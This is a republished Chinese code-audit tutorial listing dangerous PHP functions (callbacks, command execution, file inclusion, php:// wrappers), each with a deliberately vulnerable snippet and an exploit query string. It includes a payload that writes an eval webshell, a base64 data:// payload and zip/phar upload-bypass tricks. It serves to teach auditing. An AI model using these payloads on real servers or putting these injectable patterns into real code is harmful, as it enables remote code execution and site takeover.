常见php回调函数,可调用其他命令/代码执行函数:*
call_user_func()
call_user_func_array()
create_function()
array_walk()
array_map()
array_filter()、
usort()
ob_start()、
可变函数$_GET['a']($_GET['b'])
常见php可执行系统命令的函数:
system()、passthru()、exec()、shell_exec()、 pcntl_exec()、popen()、proc_open()
常见php可代码执行的函数:
eval()、assert()、preg_replace()、$
禁用危险函数
php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数。如:disable_functions =system,passthru,shell_exec,exec,popen
一、可执行php代码的函数
1.<?php eval($_GET['cmd']); assert($_GET['cmd']); ?>
php 7.1.7 ,已经无法用call_user_func回调调用 test.php?cmd=phpinfo(); preg_replace() 5.6以下可以执行 5.6以上仍然可以执行,但是会有警告 PHP7后已经不支持/e修饰符 preg_replace(“/test/e”,$_GET[“h”],”jutst test”); //将jutst test以/test正则匹配以h来替换 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?h=phpinfo() ${phpinfo()}
二、常见php回调函数,可调用其他命令/代码执行函数:
1) call_user_func()
call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数 <?php
1.call_user_func($_GET['a1'],$_GET['a2']);
2.//xxx.php?a1=system&a2=whoami //命令执行
3.//xxx.php?a1=assert&a2=phpinfo() //代码执行 ?>
2) call_user_func_array()
call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
1.<?php
2.call_user_func_array($_GET['a1'],$_GET['a2']);
3.//xxx.php?a1=system&a2[]=whoami
4.//xxx.php?a1=assert&a2[]=phpinfo()
5.?>
3) create_function()
创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值
1.<?php
2.$b=create_function('', @$_REQUEST['a']);$b();
3.//xxx.php?a=phpinfo();
4.?>
4) array_walk()
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
1.<?php
2.array_walk($_GET['a'],$_GET['b']);
3.//xxx.php?a[]=phpinfo()&b=assert
4.//xxx.php?a[]=whoami&b=system
5.?>
5) array_map()
array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1.<?php array_map($_GET['a'],$_GET['b']);
2.//xxx.php?a=system&b[]=whoami
3.//xxx.php?a=assert&b[]=phpinfo()
4.//$array = array(0,1,2,3,4,5);
5.//array_map($_GET['a'],$array);
6.//.php?a=phpinfo ?>
6) array_filter()
array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
1.<?php array_filter(array($_GET['cmd']),$_GET['func']);
2.//?func=system&cmd=whoami
3.//?func=assert&cmd=phpinfo() ?>
7) 可变函数$var(args)
PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
1.<?php $_GET['a']($_GET['b']);
2.//xxx.php?a=system&b=whoami
3.//xxx?a=assert&b=phpinfo()
4.?>
8) usort()
本函数将用用户自定义的比较函数对一个数组中的值进行排序 php5.6之前可以
1.<?php
2.usort(...$_GET);
3.?>
4.payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert POST传参: x=phpinfo();
9)uasort
php5.6 php7不可以
1.<?php
2.$a = $_GET['a'];
3.$onearray = array('Ameng', $_POST['x']);
4.uasort($onearray, $a);
5.?>
6.payload: 1.php?a=assert POST传参: x=phpinfo();
10)ob_start
ob_start — 打开输出控制缓冲
1.<?php $foobar = $_GET['b'];
2.ob_start($foobar);
3.echo $_GET['h'];
4.ob_end_flush(); ?>
5./test.php?h=whoami&b=system
三、常见php可执行系统命令的函数:
1) system()
1.<?php system($_GET['a']); //xxx.php?a=whoami ?>
2) passthru()
<?php passthru($_GET['a']); //xxx.php?a=whoami ?>
3) exec()
1.<?php $output = exec($_GET['a']);
2.echo "<pre>$output</pre>";
3.//xxx.php?a=whoami ?>
4) shell_exec()
1.<?php $output = shell_exec($_GET['a']);
2.echo "<pre>$output</pre>";
3.//xxx.php?a=whoami ?>
5) pcntl_exec()
要求:linux系统特有模块,需编译选项中存在—enable-pcntl
1.<?php pcntl_exec( "/bin/bash" , array("whoami")); ?>
6) popen()
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
1.popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
2.<?php
3.$test = $_GET['h'];
4.$fp = popen($test,"r"); //popen打一个进程通道
5.
6.while (!feof($fp)) { //从通道取出内容
7.$out = fgets($fp, 4096);
8.echo $out;
9.}
10.pclose($fp);
11.?>
7) proc_open()
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力
1.类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力
2.<?php
3.$test = "whoami";
4.$array = array(
5.array("pipe","r"), //标准输入
6.array("pipe","w"), //标准输出内容
7.array("pipe","w") //标准输出错误
8.);
9.
10.$fp = proc_open($test,$array,$pipes); //打开一个进程通道
11.echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
12.proc_close($fp);
13.?>
8) 反单引号
1.<?php echo `whoami`; ?>
四、文件包含
include将会包含语句并执行指定文件 PHP的配置文件allowurlfopen和allow_url_include设置为ON include/require等包含函数可以加载远程文件 include include_once requeire require_once <?php highlight_file(__FILE);
1.$file = $_GET['file'];
2.include $file; ?>
五、php伪协议
借用下freebuf php伪协议文章中总结的图片.
1)php://input (读取POST数据)
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0) <?php $filename =
1.条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
2.<?php
3.$filename = $_GET['filename'];
4.include($filename);
5.?>
6.post数据
7.<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
8.file_put_contents('./public/.sys1.php','<?php phpinfo();')
file_put_contents(‘./public/.sys1.php’,’<?php phpinfo();’)
2)php://data
1.<?php $page = $_GET['rf'];
2.include($page); ?>
3.data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
4.其中 base64 部分就是 <?php phpinfo();
3)php://filter
php://filter/read=convert.base64-encode/resource=upload.php
resource=<要过滤的数据流>
read=<读取的方式>
4)zip://
先将要执行的PHP代码写好文件名为phpcode.txt, 将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传, 若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23, http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
5) phar://
配合文件上传漏洞,当仅可以上传zip格式时 index.php?file=phar://index.zip/index.txtindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/index.zip/index.txt 新建index.txt,使用zip格式压缩 -> index.zip 当仅可以上传图片格式时 针对phar://不管后缀是什么,都会当做压缩包来解压。index.php?file=phar://head.png/head.txtindex.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png/head.txt 将做好的zip后缀改为png格式
六、文件操作类威胁函数
1.file_put_contents
2.file_put_contents($file, $string);
3.copy highlight_file()
4.fopen()
5.read file()
6.fread()
7.fgetss()
8.fgets()
9.parse_ini_file()
10.show_source()
11.file()
原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-常见php威胁函数(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论